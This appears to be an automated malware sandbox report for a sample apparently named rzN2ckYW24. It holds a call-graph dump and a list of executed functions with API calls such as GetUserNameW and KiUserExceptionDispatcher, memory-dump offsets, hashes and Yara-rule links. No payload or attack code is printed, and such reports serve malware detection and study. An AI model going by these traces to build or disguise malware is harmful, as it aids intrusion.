KiUserExceptionDispatcher 29093->29094 29096 5c48615 KiUserExceptionDispatcher 29094->29096 29098 5c488e3 29096->29098 29098->28845 29100 5c4809d 29099->29100 29101 5c485f9 KiUserExceptionDispatcher 29100->29101 29102 5c48615 KiUserExceptionDispatcher 29101->29102 29104 5c488e3 29102->29104 29104->28845 29106 5c48013 29105->29106 29107 5c485f9 KiUserExceptionDispatcher 29106->29107 29108 5c48615 KiUserExceptionDispatcher 29107->29108 29110 5c488e3 29108->29110 29110->28845 29112 5c47f92 29111->29112 29113 5c485f9 KiUserExceptionDispatcher 29112->29113 29114 5c48615 KiUserExceptionDispatcher 29113->29114 29116 5c488e3 29114->29116 29116->28845 29118 5c45ca8 29117->29118 29119 5c45d1f 29118->29119 29138 5c45880 29118->29138 29123 5c45cc0 29122->29123 29124 5c45d1f 29123->29124 29125 5c45880 GetUserNameW 29123->29125 29126 e827a8 29125->29126 29126->28832 29127 5c45fe0 29126->29127 29133 5c45fd1 29126->29133 29128 5c45fee 29127->29128 29129 5c46011 29127->29129 29128->28832 29132 5c4609e 29129->29132 29142 5c45b74 GetUserNameW 29129->29142 29134 5c45fda 29133->29134 29137 5c45fee 29134->29137 29143 5c45b74 GetUserNameW 29134->29143 29137->28832 29140 5c45de0 GetUserNameW 29138->29140 29141 5c45f2d 29140->29141 29201 e8bbb8 29202 e8bbd6 29201->29202 29205 e8b794 29202->29205 29204 e8bc0d 29206 e8d6d8 LoadLibraryA 29205->29206 29208 e8d7b4 29206->29208 29144 e84c80 29145 e84c94 29144->29145 29148 e852d2 29145->29148 29146 e84c9d 29149 e852db 29148->29149 29154 e854b4 29148->29154 29160 e854ce 29148->29160 29166 e853b8 29148->29166 29172 e853a7 29148->29172 29149->29146 29155 e85467 29154->29155 29156 e854f3 29155->29156 29178 e857ff 29155->29178 29187 e857c0 29155->29187 29192 e857af 29155->29192 29161 e854e1 29160->29161 29162 e854f3 29160->29162 29163 e857ff 2 API calls 29161->29163 29164 e857af 2 API calls 29161->29164 29165 e857c0 2 API calls 29161->29165 29163->29162 29164->29162 29165->29162 29167 e853fc 29166->29167 29168 e854f3 29167->29168 29169 e857ff 2 API calls 29167->29169 29170 e857af 2 API calls 29167->29170 29171 e857c0 2 API calls 29167->29171 29169->29168 29170->29168 29171->29168 29173 e853fc 29172->29173 29174 e854f3 29173->29174 29175 e857ff 2 API calls 29173->29175 29176 e857af 2 API calls 29173->29176 29177 e857c0 2 API calls 29173->29177 29175->29174 29176->29174 29177->29174 29179 e8580e 29178->29179 29180 e857be 29179->29180 29182 e85834 29179->29182 29185 e857ff RtlEncodePointer 29180->29185 29197 e85810 29180->29197 29181 e857de 29181->29156 29183 e85874 RtlEncodePointer 29182->29183 29184 e8589d 29182->29184 29183->29184 29184->29156 29185->29181 29188 e857ce 29187->29188 29190 e857ff 2 API calls 29188->29190 29191 e85810 RtlEncodePointer 29188->29191 29189 e857de 29189->29156 29190->29189 29191->29189 29193 e857ce 29192->29193 29195 e857ff 2 API calls 29193->29195 29196 e85810 RtlEncodePointer 29193->29196 29194 e857de 29194->29156 29195->29194 29196->29194 29198 e8584a 29197->29198 29199 e85874 RtlEncodePointer 29198->29199 29200 e8589d 29198->29200 29199->29200 29200->29181

                                                                                                      Executed Functions

                                                                                                      Function 06529408 Relevance: 3.5, Instructions: 3454COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.530232972.0000000006520000.00000040.00000800.00020000.00000000.sdmp, Offset: 06520000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_6520000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d0b8f56ddad1ec81fa8b40f9cf9a238246bd07db195274d917ee8e920c951540
                                                                                                      • Instruction ID: c9c5899b5f5c736949fea726b20323b9a76a1b1c5eb96ad06c4475e13ac1a093
                                                                                                      • Opcode Fuzzy Hash: d0b8f56ddad1ec81fa8b40f9cf9a238246bd07db195274d917ee8e920c951540
                                                                                                      • Instruction Fuzzy Hash: A3733F71D1071A8ECB50DF68C88469DF7B1FF9A310F15C69AE458A7261EB30AAD4CF81
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C45880 Relevance: 1.6, APIs: 1, Instructions: 135COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • GetUserNameW.ADVAPI32(00000000,00000000), ref: 05C45F1B
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: NameUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 2645101109-0
                                                                                                      • Opcode ID: ae140897c0540d64f03061a1c2ea531c237d3bb528871b44b4b9cf2e9a9ad342
                                                                                                      • Instruction ID: 5ac9e3a01fba16aad39caddb2584650c16ea66d811af7ad5223a115ad7f43ba5
                                                                                                      • Opcode Fuzzy Hash: ae140897c0540d64f03061a1c2ea531c237d3bb528871b44b4b9cf2e9a9ad342
                                                                                                      • Instruction Fuzzy Hash: 73510574D102188FDB14CFA9C889BDDBBF1BF48314F15852AE816AB351D7749844CF95
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C47F60 Relevance: 3.4, APIs: 2, Instructions: 361COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: ceec65d3f3fd43bcc0d23a911a5fed76b3f74aef8fe1062936b71a4bdf1f2deb
                                                                                                      • Instruction ID: 0fe0d691d72ffdc8d84815630a91585332bef80c5a38b0fcccba3d7bf03ba820
                                                                                                      • Opcode Fuzzy Hash: ceec65d3f3fd43bcc0d23a911a5fed76b3f74aef8fe1062936b71a4bdf1f2deb
                                                                                                      • Instruction Fuzzy Hash: A412BB78902218CFCB64DF24E89DA9CBBB2BF49306F1045D9D55AA2385CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C47F81 Relevance: 3.4, APIs: 2, Instructions: 359COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: dc311b8a21e78637591727963bae7c3bc0e5095e36da77670c683ef332b42e69
                                                                                                      • Instruction ID: 956b0bfa2480f9971ac73fb4699a85ff02295ab61d5a0162e9c55356b50e77c6
                                                                                                      • Opcode Fuzzy Hash: dc311b8a21e78637591727963bae7c3bc0e5095e36da77670c683ef332b42e69
                                                                                                      • Instruction Fuzzy Hash: 8B12CB78902218CFCB64DF24E89DA9CBBB2BF49306F1045D9D55AA2385CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C47FBD Relevance: 3.4, APIs: 2, Instructions: 354COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: f2d8b6df18bec099d3b4cde2db39c9ff455921bbf4ead1c335cc59704317756a
                                                                                                      • Instruction ID: 8b2518e41bcb134fe79b165ff3089f74b6a298b195f23f0e55952e81141a80c3
                                                                                                      • Opcode Fuzzy Hash: f2d8b6df18bec099d3b4cde2db39c9ff455921bbf4ead1c335cc59704317756a
                                                                                                      • Instruction Fuzzy Hash: 2502BB78901218CFCB64DF24E89DA9CBBB2BF49306F1045D9D54AA2395CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48002 Relevance: 3.3, APIs: 2, Instructions: 347COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 70b5e6420dc619f106b80f0cf0d148b2c7fde5b8b97f3e67307d46bfd7716573
                                                                                                      • Instruction ID: 7f979e6f6fbad5e38d03d9567d6e09de43709d71a656a25f4579a2c0b3442895
                                                                                                      • Opcode Fuzzy Hash: 70b5e6420dc619f106b80f0cf0d148b2c7fde5b8b97f3e67307d46bfd7716573
                                                                                                      • Instruction Fuzzy Hash: 0C02BC78902228CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2395CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48047 Relevance: 3.3, APIs: 2, Instructions: 340COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 0f3631c34d2ff0f3bef5f026b0a32bfa26b5543727c92d8d526d486fbee4374c
                                                                                                      • Instruction ID: 763213a1e9b032eb6add46e1dad36cf083c6b02e5c93afa02602ab7f436868eb
                                                                                                      • Opcode Fuzzy Hash: 0f3631c34d2ff0f3bef5f026b0a32bfa26b5543727c92d8d526d486fbee4374c
                                                                                                      • Instruction Fuzzy Hash: 0702CB78902228CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2395CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4808C Relevance: 3.3, APIs: 2, Instructions: 333COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 073e43f7db12d8aa1360b55ded7d7a5715f6712ed2fdf9baa15b49e780c10f8a
                                                                                                      • Instruction ID: 26d35acb6466bdabf3f9df49727c4d50f3d03acc8f24dd2543de278606c3acf7
                                                                                                      • Opcode Fuzzy Hash: 073e43f7db12d8aa1360b55ded7d7a5715f6712ed2fdf9baa15b49e780c10f8a
                                                                                                      • Instruction Fuzzy Hash: 8102CB38906218CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2395CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C480D1 Relevance: 3.3, APIs: 2, Instructions: 324COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 060926caaaeabca00d6578173da39d62e274c6e295bd2c8fbaebbca7ea60a4ae
                                                                                                      • Instruction ID: 49edf232ac09a78ce5c1ababbe82adf6423680fd13894a59c6df24fbfe76d0c6
                                                                                                      • Opcode Fuzzy Hash: 060926caaaeabca00d6578173da39d62e274c6e295bd2c8fbaebbca7ea60a4ae
                                                                                                      • Instruction Fuzzy Hash: 7FF1CB38906218CFCB64DF24E89DA9CBBB2BF49306F1045D9D54AA2395CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4810D Relevance: 3.3, APIs: 2, Instructions: 319COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 9052b7c6a3887190b00186be41180e2388f5fd85341eee658a9929e572f73ede
                                                                                                      • Instruction ID: 0319b4d80f4159dab0e1b9ee7482eb1239c88e03046d51e93994b95a8a4bcd5b
                                                                                                      • Opcode Fuzzy Hash: 9052b7c6a3887190b00186be41180e2388f5fd85341eee658a9929e572f73ede
                                                                                                      • Instruction Fuzzy Hash: F3F1CB38906218CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2395CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48152 Relevance: 3.3, APIs: 2, Instructions: 312COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 50dd7174da703e7e466b2082b0cf9fd0cae12a52b2157249c72f31c9e9a161f8
                                                                                                      • Instruction ID: 6cc2af45698fd0988618b1f732b0ff18219dbd99e049d47839d756965e6f42a2
                                                                                                      • Opcode Fuzzy Hash: 50dd7174da703e7e466b2082b0cf9fd0cae12a52b2157249c72f31c9e9a161f8
                                                                                                      • Instruction Fuzzy Hash: A2F1CB38906228CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2385CB359EC1CF61
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48197 Relevance: 3.3, APIs: 2, Instructions: 305COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 8cab1f83983d979d08412cc9562a5e8318252dd565893f60dd4c53b562050ed4
                                                                                                      • Instruction ID: 6e045ea99122aeaa1a810f8f9fd97dc3a0fd0b6bf12c8c9cc00cf8524055d3b7
                                                                                                      • Opcode Fuzzy Hash: 8cab1f83983d979d08412cc9562a5e8318252dd565893f60dd4c53b562050ed4
                                                                                                      • Instruction Fuzzy Hash: 1CF1CB38906218CFCB64DF64E89DA9CBBB2BF49306F1045D9D54AA2385CB359EC1CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C481DC Relevance: 3.3, APIs: 2, Instructions: 298COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 0152f26ca579c74a08d786bd5338d3b717986b3f56353d9172f846781cd260c6
                                                                                                      • Instruction ID: d3b1070bf3b5f5e456554f742fb309043a93d01fdbb2523f5acae354fc68f236
                                                                                                      • Opcode Fuzzy Hash: 0152f26ca579c74a08d786bd5338d3b717986b3f56353d9172f846781cd260c6
                                                                                                      • Instruction Fuzzy Hash: A2F1CB38906218CFCB64DF64E89DA9CBBB2BF49305F1045D9D54AA2385CB359EC1CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48221 Relevance: 3.3, APIs: 2, Instructions: 289COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 8be0216bbef2044dbd8a4c96dbbeda42383a1eaac51a0d793abfcf8517601782
                                                                                                      • Instruction ID: 3c62ddda2f53df0591273f1db0c580ab1c78e85155d84c920d21119667507e7d
                                                                                                      • Opcode Fuzzy Hash: 8be0216bbef2044dbd8a4c96dbbeda42383a1eaac51a0d793abfcf8517601782
                                                                                                      • Instruction Fuzzy Hash: BAE1BB38906218CFCB64DF64E89DA9CBBB2BF49305F1045D9D54AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4825D Relevance: 3.3, APIs: 2, Instructions: 284COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 00cfbab117121bbd3f5d2146b67ee961608cf13c11d1d343f79044bf7fe9cc96
                                                                                                      • Instruction ID: e51e72ce9d100fea3f2cbbd1d538154a3ec55b58c30c54660d8f4dbc4ea1129e
                                                                                                      • Opcode Fuzzy Hash: 00cfbab117121bbd3f5d2146b67ee961608cf13c11d1d343f79044bf7fe9cc96
                                                                                                      • Instruction Fuzzy Hash: D0E1BB38906228CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C482A2 Relevance: 3.3, APIs: 2, Instructions: 277COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 35e25fc3f850309956d2ea5d5310ade5ce8c2a8760dbc3f978f21bac30a4be53
                                                                                                      • Instruction ID: 55837284d47a5eab39c23f9c0466e7c5e939f9d14b5b889af27d9ea3710aa5ae
                                                                                                      • Opcode Fuzzy Hash: 35e25fc3f850309956d2ea5d5310ade5ce8c2a8760dbc3f978f21bac30a4be53
                                                                                                      • Instruction Fuzzy Hash: 6CE1BB38906228CFCB64DF24E89DA9CBBB2BF49305F1045D9D54AA2385CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C482E7 Relevance: 3.3, APIs: 2, Instructions: 270COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: 14aad821f448c0d2aa50154511685b6e71e3fca6be4f0569688ff51569c918f7
                                                                                                      • Instruction ID: 016476d93866edf97fed365b4313615a70b84df6d0deba9bacfd17a9efac3c4c
                                                                                                      • Opcode Fuzzy Hash: 14aad821f448c0d2aa50154511685b6e71e3fca6be4f0569688ff51569c918f7
                                                                                                      • Instruction Fuzzy Hash: DFE1BB38906268CFCB64DF24D89DA9CBBB2BF49305F1045D9D54AA2385CB399EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C4832C Relevance: 3.3, APIs: 2, Instructions: 263COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: d4d838c4ee2bdae9b29d488cda9297d3d1b41a8811a7e135de1096778bf6fdbd
                                                                                                      • Instruction ID: 2cf8eb352c033e0e67ef36013144542cdfadd9f734e46b537b1feb031aaa48ae
                                                                                                      • Opcode Fuzzy Hash: d4d838c4ee2bdae9b29d488cda9297d3d1b41a8811a7e135de1096778bf6fdbd
                                                                                                      • Instruction Fuzzy Hash: 85D1BB38906258CFCB64DF24D89DA9CBBB2BF45305F1045D9D54AA2345CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C48371 Relevance: 3.3, APIs: 2, Instructions: 256COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: ea5acabe161abe7c2820b190b03c1fbbdeac60b59a6b86b87f3160372916bdf9
                                                                                                      • Instruction ID: d7b72e0aba57c7a0ff9a348940a60fc2413378d85ba804a09727cae5a6ca8f7a
                                                                                                      • Opcode Fuzzy Hash: ea5acabe161abe7c2820b190b03c1fbbdeac60b59a6b86b87f3160372916bdf9
                                                                                                      • Instruction Fuzzy Hash: 81D1BA38906268CFCB64DF24D89DA9CBBB2BF49305F1045D9E54AA2345CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C483B6 Relevance: 3.2, APIs: 2, Instructions: 249COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_2_2_5c40000_rzN2ckYW24.jbxd
                                                                                                      Similarity
                                                                                                      • API ID: DispatcherExceptionUser
                                                                                                      • String ID:
                                                                                                      • API String ID: 6842923-0
                                                                                                      • Opcode ID: b7f17075830edf1fdb0a3a799444c4b5fb2f7d2f8279fce9cc389d7e09e63c22
                                                                                                      • Instruction ID: f3291f5cfff9c1440d85277b52dd43bd51362aaa89d1762e6aea22013eb00d28
                                                                                                      • Opcode Fuzzy Hash: b7f17075830edf1fdb0a3a799444c4b5fb2f7d2f8279fce9cc389d7e09e63c22
                                                                                                      • Instruction Fuzzy Hash: 81D1BA38906228CFCB64DF24D89DA9CBBB2BF45305F1045D9E54AA2345CB359EC5CF21
                                                                                                      Uniqueness

                                                                                                      Uniqueness Score: -1.00%

                                                                                                      Function 05C483FB Relevance: 3.2, APIs: 2, Instructions: 242COMMON
                                                                                                      Download Yara Rule
                                                                                                      APIs
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C485F9
                                                                                                      • KiUserExceptionDispatcher.NTDLL ref: 05C488C4
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000002.00000002.529427624.0000000005C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C40000, based on PE: false
